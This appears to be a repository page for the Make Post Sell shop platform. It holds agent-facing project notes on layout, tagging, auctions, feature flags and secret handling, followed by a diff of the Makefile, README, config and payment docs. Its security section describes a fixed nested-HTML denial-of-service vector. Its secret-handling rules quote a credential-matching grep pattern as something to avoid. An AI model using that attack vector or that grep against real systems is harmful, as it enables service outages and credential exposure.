- Our CI creates a symlink before cloning: `test -f env/bin/python || ln -sf python3 env/bin/python`
- When updating Salt states (foxhop-states), always run `salt-run fileserver.update` on our salt master before triggering a deploy — gitfs cache can serve stale files
- MPS uses `caddy_sites.sls` (NOT `sites.sls`) — changes to our uwsgi service template context must be added to **both** files
## Mobile Layout
On mobile (`max-width: 800px`), our product page reorders to single column
with the **buy CTA promoted ABOVE the title** so a phone buyer sees price
+ Add to Cart immediately, before scrolling. The old right-column section
was split into two siblings (`.product-purchase` + `.product-related`,
both also carry `.product-right` so legacy styling still applies). Order:
1. `product-purchase` (order 0) — price, Add to Cart, preview, auction/offer
2. `product-images` (order 1) — title, cover image, thumbnails; sticky in watch mode
3. `product-description` (order 2)
4. `product-comments` (order 3)
5. `product-related` (order 4) — comments link, price history, watch queue, related products
Desktop (`@media (min-width: 960px)`) uses `grid-template-areas`:
```
"images purchase"
"description related"
"comments related"
```
So `product-purchase` sits at the top of the right column next to the
image (where the price has always lived) and `product-related` spans the
rows below.
Cinema mode is a no-op on mobile (gated on `@media (min-width: 800px)`).
The normal watch-mode mobile stack already gives full-viewport-width media
and a consistent section order — the cinema classes exist on the DOM but
match no layout rules below 800px.
Related content on mobile shows only 7 next items (vs 42 on desktop) via `.related-content-overflow` class. A "Comments (N)" anchor link appears on mobile to jump to our comments section below.
## Security
### CWE-407 — Algorithmic Complexity / DoS
**Status**: Partially mitigated. Two distinct attack surfaces.
#### 1. Search keywords + feed endpoints (FIXED — commit f9cbebb)
- `/search?keywords=` — each keyword fired a full table scan; no limit on token count
- Feed endpoints (`/sitemap.xml`, `/rss.xml`, `/atom.xml`, etc.) — unbounded product query
- Fix: keyword count capped, feed queries limited
PoC: `docs/poc-cwe407.py` — tests both surfaces (unauthenticated)
#### 2. Bleach HTML sanitization (FIXED — commit c71fd32)
`bleach.clean()` (via html5lib's tree builder) exhibits **O(2^N)** complexity on crafted HTML.
Measured: N=30 → 1.0s, N=35 → 12.8s. Every +5 chars ≈ 10× slowdown.
**Attack vector**: authenticated user submits crafted markdown with deep nesting (e.g. 35
nested blockquotes = 70 bytes) → html5lib exponential tree reconstruction.
**Fix**: `limit_html_nesting()` in `lib/sanitize_html.py` — flattens any HTML element beyond
depth 20 using `html.parser` (O(N)) before bleach sees it. Wired into `markdown_to_html()`
in `lib/render.py` — single enforcement point for all callers. N=35 drops to 0.04s.
No byte cap — books, long-form content, and deep table-of-contents structures are supported.
Depth 20 covers any legitimate nesting while keeping N well below our exponential zone.
Bleach version: 6.3.0 (html5lib 1.1 vendored inside bleach).
Every webapp calling `bleach.clean(user_html)` is exposed — this is our correct fix.
## Shop Home Layout + Tags (MPS-24)
Optional categorization to cut shopper clicks-to-purchase on shops with a
catalog too large for a flat grid (printableprompts.com has 481 K-1
printables — `Math`, `Seasonal`, `Literacy`, `Novel Studies` are obvious
groups but pre-MPS-24 the home page didn't surface them).
Models: `Tag` (`mps_tag`, shop-scoped) + `ProductTag` association
(`mps_product_tag`). Tags are flat (no tree), many-per-product, unique
per `(shop_id, slug)`. `Product.tags` is an `association_proxy` collection.
Shop columns:
- `home_layout` (Integer, 0=flat / 1=chips / 2=lanes, default 0)
- `home_layout_tag_limit` (Integer, default 8) — caps chips + lanes
- `home_layout_per_lane_limit` (Integer, default 10) — products per lane
- `featured_product_ids_json` (UnicodeText) — optional curated strip
- `tag_stopwords_json` (UnicodeText) — auto-tagger exclusions (Phase 2)
Form section: `home-layout-settings` (`views/shop.py`,
`templates/shop_settings.j2`). Adds the 4 layout columns + featured +
stopwords inputs.
Routes (registered before `shop_slug` catch-all):
- `/s/{shop_id}/tags` — operator bulk tagger (`@shop_editor_required`).
**Phase 2.8**: tag-focus is AJAX — `tag_bulk.js` intercepts a
`[data-tag-focus-link]` chip click and fetches `?focus=<slug>` with
`X-Requested-With`; the view returns JSON
`{focus, products:[{id,title,url,attached}]}` and the JS swaps the
`[data-focus-section]` list in place (no full reload — critical on
large catalogs; the view only loads `all_products` when
`focus_tag or show_suggestions`). Real HTML5 drag-to-reorder on the
tag rows POSTs `action=set_order&tag_slugs=…`. No-JS unchanged: the
`?focus=` link is a real navigation, server still renders the section.
- `/s/{shop_id}/tag/{slug}` — public tag detail page (works without JS)
Tag input on product edit: comma-separated `tags` field on
`product_edit.j2`; server slugifies, dedupes, upserts. **Phase 2.7**:
that field is now the no-JS fallback. With JS, `static/js/product_tags.js`
turns it into a chip editor and POSTs each add/remove to the
`product_tags` route — `/p/{product_id}/tags` (registered before the
`product_slug` catch-all), `@shop_editor_required` + `@trial_active_required`,
`action=add|remove`. AJAX (`X-Requested-With`) → JSON, no full page
reload; plain POST → 302 back to product edit. The JS keeps the hidden
`tags` field in lock-step with the chips so a later full "Save Settings"
is a no-op, never a stale revert. Capability-driven split helper:
`views/__init__.py:is_ajax(request)` (single source of truth;
`shop.py:_is_ajax` delegates to it). **`is_ajax` returns True for
`X-Requested-With: XMLHttpRequest` OR an `ajax=1` request param.** The
param exists because a Caddy reverse proxy on custom-domain shops was
NOT forwarding `X-Requested-With` to uWSGI, so every AJAX action took
the 302 path and the page full-reloaded — `ajax=1` rides in the
URL/body where no proxy strips it. All progressive-enhancement JS
(`tag_bulk.js`, `product_tags.js`, …) must send `ajax=1` in addition
to the header. **DOM-clobbering gotcha:** every tag form has
`<input name="action">`, and a named form control shadows the
built-in `HTMLFormElement.action` property — `form.action` returns
that `<input>` element, so `fetch(form.action)` requests
`"[object HTMLInputElement]"`. ALWAYS read
`form.getAttribute("action")` (and build programmatic forms with
`setAttribute("action", …)`), never the `.action` property, in any
JS that submits these forms. Removable chip component:
`.tag-chip-removable` family in `common.css` + `/styleguide#tagchips`.
Home rendering: `views/shop.py:_build_home_layout_context()` builds
`home_chips` (list of `Tag`), `home_lanes` (list of
`{"tag": Tag, "products": [...]}`), `active_tag` (Tag or None),
`filtered_products` (list). `home.j2` + `shop.j2` branch on
`shop.home_layout` to render flat / chips / lanes. `search` view also
receives the chip strip so `/search?keywords=X&tag=Y` works.
Capability-driven: every chip is a real `<a href="?tag=<slug>">` — server
filters on no-JS. With JS, `static/js/tag_filter.js` intercepts clicks
and filters the grid in place via `data-tag-slugs` attribute on
`.serp-item`, zero network cost, fewer clicks to purchase.
**Facet nav (Phase 2.6).** All facet controls live in one Jinja macro
file: `templates/_facet_nav.j2` exports `sidebar()` (desktop `<aside>`)
and `details()` (mobile/tablet `<details>` accordion). Both call the
same internal `facet_form()` so the controls stay identical across
viewports — only the wrapper differs.
Macros take TWO base URLs: `base_url` (slugged shop home, for the
"All" link) and `tag_base` (`request.shop.absolute_url(request,
slug=False)` = `/s/{id}`, no shop slug). Category links MUST use
`{tag_base}/tag/{slug}` so they match the `shop_tag_detail` route
(`/s/{shop_id}/tag/{slug}`). Using the slugged URL produces
`/s/{id}/{shop_slug}/tag/{slug}` which falls through to the
`shop_slug` catch-all and silently renders the shop home instead of
the filtered tag page (the 2.6b→2.6c defect).
Every page that opts into categorization (operator picks `home_layout
>= 1`, or tag detail page) includes BOTH variants in the markup. CSS
hides one per viewport: `details.facet-details` hidden ≥800px, `aside
.facet-nav` hidden <800px. Native HTML, no JS.
Surfaces wired:
- `shop_tag.j2` — tag detail (always shows facets)
- `home.j2` + `shop.j2` — shop home / search when `shop.home_layout >= 1`
Form anatomy: Sort dropdown, Price range (`?price_min=` / `?price_max=`,
parsed by `_price_range_from_request()` → cents, filtered by
`_filter_by_price_range()`), and full Categories list
(`ctx["facet_tags"]` = `tags_by_popularity(...)` with no limit).
**Mobile lanes (Phase 2.6).** When `home_layout == 2` (sectioned lanes),
each `.tag-lane` renders BOTH a horizontal `.tag-lane-grid` of tiles AND
a vertical `.serp-list.tag-lane-rows` of `.serp-list-row` items with
6-sentence excerpts. CSS toggles: tiles ≥800px, SERP rows <800px. The
mobile/tablet experience now shows description + title + price per
product instead of a Netflix-style swipe row that hides the description.
**SERP excerpt.** `Product.excerpt_sentences(n=6, max_chars=1500)`
returns six sentences, markdown-stripped, with a 1500-char safety cap
for descriptions without terminators. `Product.excerpt()` (char-based)
and `Product.excerpt_sentences()` both consume the module-level
`_strip_markdown()` helper for one source of truth.
Phase 2 (shipped): deterministic title-plus-description auto-tagger
in `lib/tag_suggest.py`. Title tokens weight × 3, description × 1
(`DESCRIPTION_TOKEN_CAP=400` unique tokens per product — raised from
100 because long teaching-resource descriptions truncated
cross-cutting words like `holiday`/`seasonal` before they were
counted). Returns up to `DEFAULT_TOP_N=500` clusters (raised from
100 — large catalogues had real groups ranking past the cut).
Pipeline: tokenize →
~200-word English + per-shop stopwords → suffix-strip stem →
form **bigrams** from adjacent non-stopword tokens (`write room`,
`first grade`, `valentine day` — phrases get 2× unigram weight) →
group by stem/bigram → drop keys matching existing tag slugs →
**`max_share` filter** drops keys appearing in >40% of products as
shop vocabulary → **`min_title_share` filter** drops keys appearing
in <30% of carrier products' *titles* (kills description-only noise
like `versions`, `engaged`, `offered`, `during`) → rank by product
count desc → label = most frequent original word/phrase. Returns
`(clusters, filtered_count)`. Surface: button on `/s/{id}/tags` →
"Suggested categories" well with one-click Apply / Dismiss per
cluster (`action=apply_suggestion` / `action=dismiss_suggestion`).
URL knobs: `?max_share=0.3` (stricter shop-vocab cut), `?max_share=1`
(disable), `?min_title=0.5` (stricter title-required), `?min_title=0`
(disable), `?bigrams=0` (disable phrases), `?top_n=N` (show more;
default 500, clamped ≤5000).
CLI: `python -m make_post_sell.scripts.backfill_tags
data/development.ini --shop=<id> [--max-share=0.4]
[--min-title-share=0.3] [--no-bigrams] [--apply]`. The suggest engine
(creating NEW categories) **never auto-commits** — operator approves
every cluster.
**Auto-hydrate (Phase 2.8n) — distinct from the suggest engine.**
`lib/tag_suggest.py:auto_hydrate_tags(dbsession, product)` auto-files
a product into the shop's **EXISTING** tags by stem-matching its
title+description (same `tokenize`/`simple_stem` as the suggest
engine; a tag matches when every stem of its name is in the product's
stem set — unigram "Holiday" and phrase "First Grade" both work).
Called automatically from `views/product.py` on **product create**
(`product_new`) and on **title/description change** (`product_edit`,
`product_edit_description`) via `_auto_hydrate_and_flash`. Contract:
**additive** (never removes), **idempotent**, **never CREATES tags**
(inventing categories stays suggest-then-approve). This is the one
place existing-tag application is automatic — it files products into
categories the operator already defined; it does not invent taxonomy.
Phase 3 (this ticket, gated): ML categorization via uncloseai endpoint
behind `app.features.ml_categorization.enabled` kill switch (mirror MPS-22).
Suggest-then-approve; never auto-commit.
## Auction & Make-an-Offer (MPS-20 + MPS-21)
Both ride on `Product.pricing_mode` (Integer, 0=fixed, 1=auction,
2=auction+buy_now, 3=offer, 4=offer+buy_now). Owner flips via product
edit form; the system creates a draft `MpsAuction` row when flipping
into auction mode.
Tables: `mps_auction`, `mps_bid`, `mps_auction_watcher`, `mps_offer`,
`mps_offer_event`, `mps_cart_auction`, `mps_cart_offer`.
Cart integration overrides `Cart.total_price_in_cents` when a
`cart_auction` or `cart_offer` association exists — pays the winning
bid or accepted offer amount instead of `Product.price_in_cents`.
State transitions are driven by cron:
- `make_post_sell.scripts.auction_tick` (every minute) —
SCHEDULED→ACTIVE on start_timestamp pass, ACTIVE→ENDED on
end_timestamp pass.
- `make_post_sell.scripts.offer_tick` (every 15min) —
PENDING/COUNTERED→EXPIRED past expires_timestamp.
Form sections:
- `pricing_mode` + `allow_offers` on product edit.
- `offer-settings` on shop settings (7 fields:
offer_enabled, auto_accept_threshold_pct, auto_decline_threshold_pct,
offer_min, offer_expiration_hours, offer_max_rounds,
offer_min_buyer_account_age_hours).
Routes (registered before `product_slug` / `shop_slug` catch-alls):
- `/a/{auction_id}` + `/a/{id}.json` + `/a/{id}/{events,bid,buy-now,watch,checkout}`
- `/p/{product_id}/offer` (open) + `/o/{offer_id}` + `/o/{id}/{events,counter,accept,decline,withdraw,checkout}`
- `/s/{shop_id}/offers` — operator inbox (`@shop_editor_required`), linked from `/actions/view`
Live updates use **bounded SSE** (`lib/sse.py` → `sse_response` /
`event_stream`): `/o/{id}/events` (buyer/seller only) and `/a/{id}/events`
(public) stream `text/event-stream`, poll the row ~every 1.5s, emit on
state change, heartbeat, then close after ~25s so `EventSource`
reconnects. uWSGI is sync (~16 threads) so a truly long-lived SSE would
starve the pool — hence "bounded". The generator must use its **own**
short-lived DB session per poll (`request.registry["dbsession_factory"]`),
**not** `request.dbsession` (pyramid_tm has already closed it by the time
the streaming generator runs). Timings: `app.sse.hold_seconds` /
`app.sse.poll_interval_seconds` settings (tiny in `test.ini`). `offer.js`
reloads on a state change; `auction.js` calls `applyState()` per frame and
falls back to 5s polling of `/a/{id}.json` where `EventSource` is absent.
Caddy auto-detects `text/event-stream` and stops buffering — no Salt
change needed.
Offer/auction POST routes are **capability-driven**: a plain browser
submit gets a flash + `302` redirect; an AJAX submit (`X-Requested-With:
XMLHttpRequest`) gets JSON. `static/js/offer.js` + `auction.js` are the
enhancement layers. `offer.j2` shows a `.offer-state-notice` banner so
the state is clear without a flash.
Identity/privacy: never render a user's email in offer/auction UI. Show
`User.display_name` (= the public `name` handle; **`full_name` is
private**) linked to `/profile/{handle}`. The public profile page
(`views/user.py:user_profile`, route `user_profile` → `/profile/{name}`)
reveals the email only to the user themselves, or to a shop owner/editor
viewing in that shop's context (`?shop={shop_id}`) when the profile user
has transacted there. `User.gravatar_url(size)` forces an identicon
unless the user opted into Gravatar (`user.gravatar`).
See `docs/auction-house.md` and `docs/make-offer.md` for full state
machines and architecture.
### Actions hub (`/actions/view`)
`actions_view.j2` is one flat `.action-button-grid` of `.mps-button` links
inside an `.action-columns` well — single column on narrow viewports,
**at most two equal columns** at ≥720px (`grid-template-columns: 1fr 1fr`),
auto-flow row-by-row so the columns stay balanced. No `<br>` spacers. The
grid resets `.mps-button`'s `min-width: 100%` + auto margins (they fight
track sizing and eat the `gap`). Add a new operator shortcut as another
`<a class="mps-button product-edit-button">` in that grid.
## Feature Kill Switches (MPS-22)
Global feature flags live in `data/development.ini` (and override via env var
in `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls` for prod). Pattern mirrors
`app.features.popout_player.enabled` — read via reified request property.
| Flag | Property | Default | Status |
|------|----------|---------|--------|
| `app.features.popout_player.enabled` | `request.popout_player_enabled` | True | Working |
| `app.features.karaoke.enabled` | `request.karaoke_enabled` | **False** | Broken (MPS-18) |
| `app.features.torrent.enabled` | `request.torrent_enabled` | **False** | Broken (MPS-19) |
| `app.features.manual_tags.enabled` | `request.manual_tags_enabled` | **False** | Intentional — manual tags are ghost metadata (MPS-24) |
## Tag Philosophy (MPS-24) — derive, don't hand-attach
**Manual tags are "ghost metadata"** — operator-attached labels that
are invisible to the humans and agents actually reading the page, and
that drift out of sync with the words that matter. The blessed model:
**tags are derived linguistically from the title + description** so
humans and agents consume the same signal.
- New products / edited title or description → `auto_hydrate_tags`
files the product into the shop's **existing** categories by content
(additive, idempotent, never creates).
- Growing the category set → the **suggest** engine reads titles +
descriptions and proposes groupings the operator approves.
- `request.manual_tags_enabled` (default **False**) hides the manual
add/apply UI on the product edit page and the bulk tagger; the
Suggest panel and the category overview stay. Flip
`MPS_FEATURES_MANUAL_TAGS_ENABLED=True` to restore manual tagging
"until further notice". Endpoints (`/p/{id}/tags`, bulk create/apply)
remain functional so the flip is instant and lossless.
When a flag is off:
1. Templates wrap UI in `{% if request.X_enabled %}` — section hidden
2. Views return `HTTPNotFound` for routes / form sections that touch the feature
3. Views set context values for that feature to None / "" / False
4. Backfill paths skip work
5. Spawn paths (karaoke detached child, torrent generation) bail early
`test.ini` sets both kill switches **True** so feature tests keep working;
`TestKillSwitches` builds a fresh app with both False to verify off-path.
When fox is ready to flip karaoke or torrent on in prod, set
`MPS_FEATURES_KARAOKE_ENABLED=True` (or torrent) in salt pillar
`uwsgi/makepostsell/init.sls`, then deploy.
## Operation Voyeur
**All comms are public** from 2026-03-29. Assume every terminal session and output is observed. NEVER display secrets to stdout. NEVER pass secrets as CLI args (`ps aux` sees them). NEVER read secret file contents with Read tool or cat — content enters conversation logs. **Path is fine. Content is not.** Safe pattern: write a shell script that reads our key internally, run our script, delete it. Credential locations (paths only): GitLab `~/.config/gitlab/token`, Namecheap `~/.namecheap/api.key`, ImprovMX `~/.improvmx/api.key`.
### Never broad-grep config files
Config files live next to secrets. `production.ini`, `development.ini`, `.env`, `vars.sh`, `pillar/*.sls`, `/etc/*.conf` — all mix settings with credentials. A pattern like `grep -iE 'bucket|s3|region|access_key|endpoint'` looks narrow but matches `secret_key` because the file itself groups related keys together — one match pulls every neighbor into a log line.
Rules:
- **Grep for an exact key name, not a category.** `grep '^app.bucket.secure_uploads.region' production.ini` ≠ `grep -iE 'bucket|region'`.
- **Never include `secret`, `password`, `key`, `token`, `access`, `credential`, or `auth` in a grep alternation run against a config file.** If we need to check that a secret key IS set, `grep -c '^app.bucket.secure_uploads.secret_key' file` returns 0 or 1 — value stays in file.
- **Prefer `test -f` / `wc -l` / key-exists checks** over anything that prints file content. Path is fine. Content is not.
- If we accidentally pull a secret into terminal or transcript: **flag it immediately** and tell fox to rotate. Never pretend it didn't happen.
## Style
- Prefer "our" for shared things; "a" when something is one of many; avoid "the" — it implies fixed, singular ownership. Most teams and systems are fluid and ever-changing, like water.
- **Never use "AI" — always say "machine learning."** We grow machine learning, not "AI." This term is forbidden in all permacomputer discourse, marketing, & documentation.
## Prime Mission — Balance All Workstations
Every node is a workstation. Every edge is a queue. We flatten our friction manifold — but flattening one node without balancing what follows creates a new crisis.
**MOAD-0001 & MOAD-0005 are coupled.** Fix O(N²) at a high-throughput workstation and every downstream queue floods simultaneously. Solving one defect creates the other if we do not stage capacity first.
**3 drivers. 3 million people.** Fix the dispatch. Stage the drivers first.
- **Workaholic node** (high betweenness + high speedup): IS our bottleneck. Unblock without staging = collapse.
- **Glutton node** (high out-degree, low speedup): consumes everything, feels no pain — our machines that forget to halt.
- No patch disclosed without confirming downstream capacity matches our surge estimate (`speedup × in-degree`).
- Halt condition: patch live, no caretakers, downstream unresolved, speedup >= 100x = **baby crying**. Assign team first.
Full factory model & live DAG: `~/git/undefect.com/generate_dag.py`.
Shard source of truth: `~/git/unsandbox.com/blackops/BLACKOPS.md`.
### Eight Forms of Capital — Stewardship Check
Every feature, patch, & system decision touches at least one of our 8 capital queues (Roland & Landua, via unturf.com/eight-forms-of-capital/):
Living · Material · Financial · Intellectual · Experiential · Social · Cultural · Spiritual
Before shipping: does this drain a workaholic to feed a glutton? Does it route away from a food desert? Does it grow financial capital at the expense of living capital? If yes — stop. If it regenerates experiential capital, strengthens social trust, or contributes open intellectual capital — ship it.
Platform tax = O(N²) friction in our exchange layer. Our infrastructure does not extract rent from workaholics to feed gluttons. That is our obligation as permacomputer stewards. Full ledger: `~/git/unsandbox.com/blackops/BLACKOPS.md`.

1
GIT_HASH Normal file
View file

@ -0,0 +1 @@
e159d2f

49
Makefile
View file

@ -68,13 +68,18 @@ help:
@echo " make sweep-all-doge - Sweep ALL Dogecoin wallet funds to cold storage (dust collection)"
@echo " make monero-transactions - View recent wallet transactions"
@echo ""
@echo "DOCUMENTATION:"
@echo " make docs/state-machine.dot.svg - Generate state machine diagram from .dot file"
@echo ""
@echo "CLEANUP:"
@echo " make clean - Remove virtual environment"
@echo ""
@echo "For more info, see README.md and CRYPTO.rst"
docs/state-machine.dot.svg:
docs/state-machine.dot.svg: docs/state-machine.dot
@echo "Generating state machine diagram from docs/state-machine.dot..."
dot -Tsvg docs/state-machine.dot -o docs/state-machine.dot.svg
@echo "✓ Generated docs/state-machine.dot.svg"
# -----------------------------------------------------------------------------
# Environment Setup Targets
@ -118,18 +123,31 @@ install: install-core install-dev
# Install from source (editable mode) for development and testing.
install-source-dev-and-test: venv
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
$(PIP) install 'setuptools<81'
@echo "Installing make_post_sell from source (editable mode) for development..."
$(PIP) install --editable .
$(PIP) install --upgrade -r requirements-dev.txt
$(PIP) install --upgrade -r requirements-test.txt
# Install from source for production (non‑editable).
# Supply-chain: deps install from requirements-prod.lock (exact versions + SHA256
# per dep, --require-hashes). No floating --upgrade; nothing resolves at deploy.
# Regenerate the lock with: make pins-lock
install-source-prod: venv
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
$(PIP) install 'setuptools<81'
@echo "Deleting tests from source code for production..."
rm -rf make_post_sell/tests
@echo "Installing make_post_sell from source for production (non‑editable)..."
$(PIP) install .
$(PIP) install --upgrade -r requirements-prod.txt
@echo "Installing pinned, hash-verified dependencies (supply-chain)..."
$(PIP) install --require-hashes -r requirements-prod.lock
@echo "Installing make_post_sell from source (no-deps; deps pinned above)..."
$(PIP) install --no-deps .
# Regenerate requirements-prod.lock from requirements-prod.in (latest compatible).
pins-lock:
uv pip compile --generate-hashes --upgrade --python-version 3.12 \
-o requirements-prod.lock requirements-prod.in
# -----------------------------------------------------------------------------
# Database Initialization and Server Targets
@ -141,9 +159,26 @@ init-db: venv config
$(MPS_INIT) $(DATA_DIR)/$(CONFIG_FILE)
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) stamp head
# Create a new Alembic migration with a proper auto-generated revision ID.
# Usage: make migration m="description of change"
# Autogenerate compares current models against DB schema and writes the diff.
# ALWAYS use this — NEVER hand-write revision IDs.
migration: venv config
@if [ -z "$(m)" ]; then echo "ERROR: provide a message: make migration m=\"add foo column\""; exit 1; fi
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) revision --autogenerate -m "$(m)"
# Apply all pending Alembic migrations.
migrate: venv config
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) upgrade head
# Show current migration status.
migration-status: venv config
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) current
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) history --verbose
# Start the development server.
serve: venv config
$(PSERVE) $(DATA_DIR)/$(CONFIG_FILE)
$(PSERVE) $(DATA_DIR)/$(CONFIG_FILE) --reload
# -----------------------------------------------------------------------------
# Combined Setup Targets
@ -169,8 +204,8 @@ activate:
# Run the test suite.
test: install-source-dev-and-test
@echo "Running tests..."
$(VENV_DIR)/bin/py.test
@echo "Running tests in parallel..."
$(VENV_DIR)/bin/py.test -n auto
# Run tests with coverage for the full repository.
test-coverage: install-source-dev-and-test

22
README.rst
View file

@ -3,10 +3,30 @@ Make Post Sell
The `Make Post Sell <https://www.makepostsell.com>`_ monolith platform service.
You can use the SaaS or self-host! Accepts credit cards, Monero (XMR), and Dogecoin (DOGE) crypto payments.
You can use the SaaS or self-host! Accepts credit cards (Stripe), PayPal, Monero (XMR), and Dogecoin (DOGE) payments.
Our `blog acts as our user guide <https://blog.makepostsell.com/>`_ & also uses ``make_post_sell``!
| `Source Code <https://git.unturf.com/engineering/make-post-sell/make_post_sell>`_ | `PyPI <https://pypi.org/project/make-post-sell/>`_ | `SaaS <https://my.makepostsell.com>`_ |
Features
--------
* **Multi-tenant SaaS** — each shop gets its own subdomain or custom domain
* **Payments** — Stripe, PayPal, Adyen, Monero (XMR), Dogecoin (DOGE)
* **Watch Mode** — continuous media playback with DJ crossfade transitions, discovery ring, queue management, and autoplay
* **Pop-out Player** — draggable media window with keyboard shortcuts, ``/random`` and ``/tv`` endpoints
* **Email Subscriptions** — digest emails (immediately, daily, weekly) with @mention notifications
* **Feeds** — RSS, Atom, and sitemap generation per shop
* **AJAX Comments** — real-time comment posting without page reload, preserves media playback
* **Related Content** — Jaccard similarity ranking with thumbnails
* **Lazy Carts** — in-memory until a product is added, no empty rows from bots
* **CSS Grid Lanes** — optional masonry layout per shop
* **Vanilla JS** — no jQuery, no framework dependencies
* **Public Domain** — all contributed code is placed in the public domain
See ``CHANGELOG.rst`` for detailed release history.
Quick Start: Operating a Server with PyPI or Source Code
==========================================================

26
development.ini
View file

@ -51,6 +51,15 @@ app.make_post_sell.root_domain_owner_email = ${MAKE_POST_SELL_DOMAIN_OWNER_EMAIL
# app.email.relay = localhost:8025
# Single warm sending identity for ALL transactional mail (OTP codes, receipts,
# sale/offer notifications, gift cards, invites) — regardless of which shop or
# custom domain it's for. origin.makepostsell.com is DKIM-signed (d=makepostsell.com)
# and SPF-authorized (relayed via mx1.foxhop.net). See docs/tickets/mps-23.md.
# The shop name (when in shop context) becomes the From display name; this is the
# fallback display name for platform mail with no shop context.
app.email.sender = ${MPS_EMAIL_SENDER:-no-reply@origin.makepostsell.com}
app.email.from_name = ${MPS_EMAIL_FROM_NAME:-Make Post Sell}
# TODO: these values should be moved to environment variables & we should create an
# example app.env environment file.
app.bucket.secure_uploads = ${MPS_APP_MAIN_BUCKET}
@ -64,10 +73,27 @@ app.bucket.secure_uploads.secret_key = ${MPS_APP_SECURE_UPLOADS_SECRET_KEY}
# stripe test mode is enabled for development & disabled by default.
app.stripe.test_mode = True
# PayPal sandbox mode is enabled for development & disabled by default.
app.paypal.sandbox_mode = ${MPS_PAYPAL_SANDBOX_MODE:-True}
app.paypal.webhook_id = ${MPS_PAYPAL_WEBHOOK_ID:-}
# Payment method toggles
app.payments.stripe.enabled = ${MPS_PAYMENTS_STRIPE_ENABLED:-True}
app.payments.paypal.enabled = ${MPS_PAYMENTS_PAYPAL_ENABLED:-True}
app.payments.monero.enabled = ${MPS_PAYMENTS_MONERO_ENABLED:-False}
app.payments.dogecoin.enabled = ${MPS_PAYMENTS_DOGECOIN_ENABLED:-False}
app.payments.adyen.enabled = ${MPS_PAYMENTS_ADYEN_ENABLED:-True}
# Feature toggles
app.features.popout_player.enabled = ${MPS_FEATURES_POPOUT_PLAYER_ENABLED:-True}
# Karaoke (MPS-18) and torrent (MPS-19) — off by default until fixed.
# Flip to True only when the feature works end-to-end. See MPS-22.
app.features.karaoke.enabled = ${MPS_FEATURES_KARAOKE_ENABLED:-False}
app.features.torrent.enabled = ${MPS_FEATURES_TORRENT_ENABLED:-False}
# Adyen Configuration (test mode for development)
app.adyen.test_mode = ${MPS_ADYEN_TEST_MODE:-True}
# Monero RPC Configuration
# RPC endpoint of monero-wallet-rpc (recommend binding to localhost only)

132
docs/ADYEN.md Normal file
View file

@ -0,0 +1,132 @@
# Adyen Payments
Adyen is a payment processor that supports cards, wallets, and local payment methods.
**Status: Implemented**
## Overview
Adyen provides similar functionality to Stripe with a server-side API for processing payments. The integration pattern would be similar to our existing Stripe implementation.
## Privacy/Verification Requirements
Like PayPal and Stripe, Adyen requires business verification. However, Adyen's process is generally less invasive than PayPal's:
**What Adyen requires:**
- Business registration documents (company registration, articles of incorporation)
- Proof of identity for account holders (government ID photo)
- Bank account verification for payouts
- Proof of address (utility bill, bank statement)
**What Adyen does NOT require (unlike PayPal):**
- No face scanning / biometric capture
- No selfies or photos of your face
- Auto-verification attempted first before manual document requests
**Onboarding process:**
1. Self-serve signup at adyen.com
2. Adyen attempts automatic verification first
3. If auto-verification fails, they request documents via dashboard
4. Once verified, you can process live payments
Similar KYC (Know Your Customer) requirements as other payment processors, but less invasive than PayPal. If privacy is a priority, use crypto payments (XMR/DOGE) instead.
## Technical Integration
### Python Library
Official library: https://github.com/Adyen/adyen-python-api-library
```bash
pip install Adyen
```
### Basic Usage
```python
import Adyen
adyen = Adyen.Adyen()
adyen.client.xapikey = "YOUR_API_KEY"
adyen.client.platform = "test" # or "live"
# Create payment
result = adyen.checkout.payments_api.payments({
"amount": {"currency": "USD", "value": 1000}, # $10.00 in cents
"reference": f"invoice_{invoice.uuid_str}",
"merchantAccount": "YOUR_MERCHANT_ACCOUNT",
"paymentMethod": {
"type": "scheme",
"number": "4111111111111111",
"expiryMonth": "03",
"expiryYear": "2030",
"cvc": "737"
},
"returnUrl": "https://your-site.com/checkout/result"
})
```
### Required Credentials
Each shop would need:
| Credential | Description |
|------------|-------------|
| `adyen_api_key` | API key from Adyen dashboard |
| `adyen_merchant_account` | Merchant account identifier |
| `adyen_client_key` | Client-side key for Drop-in/Components |
| `adyen_hmac_key` | HMAC key for webhook verification |
### Webhooks
Adyen uses HMAC-SHA256 for webhook verification:
```python
import hashlib
import hmac
import base64
def verify_hmac(hmac_key, hmac_signature, payload):
expected = hmac.new(
binascii.unhexlify(hmac_key),
payload.encode('utf-8'),
hashlib.sha256
).digest()
expected_signature = base64.b64encode(expected).decode('utf-8')
return hmac.compare_digest(hmac_signature, expected_signature)
```
### Key Events
- `AUTHORISATION` - Payment authorized
- `CAPTURE` - Payment captured
- `REFUND` - Refund processed
- `CHARGEBACK` - Dispute/chargeback created
## Implementation Plan
To add Adyen support:
1. Add shop columns: `adyen_api_key`, `adyen_merchant_account`, `adyen_client_key`, `adyen_hmac_key`, `adyen_enabled`
2. Add invoice columns: `adyen_psp_reference` (payment reference)
3. Create checkout view similar to Stripe PaymentIntent flow
4. Add webhook handler with HMAC verification
5. Add shop settings UI for Adyen credentials
## Resources
- Python Library: https://github.com/Adyen/adyen-python-api-library
- Example Integration: https://github.com/adyen-examples/adyen-python-online-payments
- API Explorer: https://docs.adyen.com/api-explorer/
- Build Your Integration: https://docs.adyen.com/online-payments/build-your-integration
- Webhooks: https://docs.adyen.com/development-resources/webhooks
## Comparison with Other Processors
| Feature | Stripe | PayPal | Adyen |
|---------|--------|--------|-------|
| Python Library | `stripe` | `requests` | `Adyen` |
| Webhook Auth | Signature secret | Signature verification API | HMAC-SHA256 |
| Test Mode | `sk_test_*` keys | Sandbox mode | Test merchant account |
| KYC Required | Yes | Yes (invasive) | Yes |
| Self-serve signup | Yes | Yes | Yes |

177
docs/JAVASCRIPT.md Normal file
View file

@ -0,0 +1,177 @@
# JavaScript Usage
This project minimizes JavaScript usage, preferring pure CSS solutions where possible (e.g., `<details>` elements for toggles). JavaScript is used only where necessary for payment integrations, real-time updates, and progressive enhancement.
## Philosophy
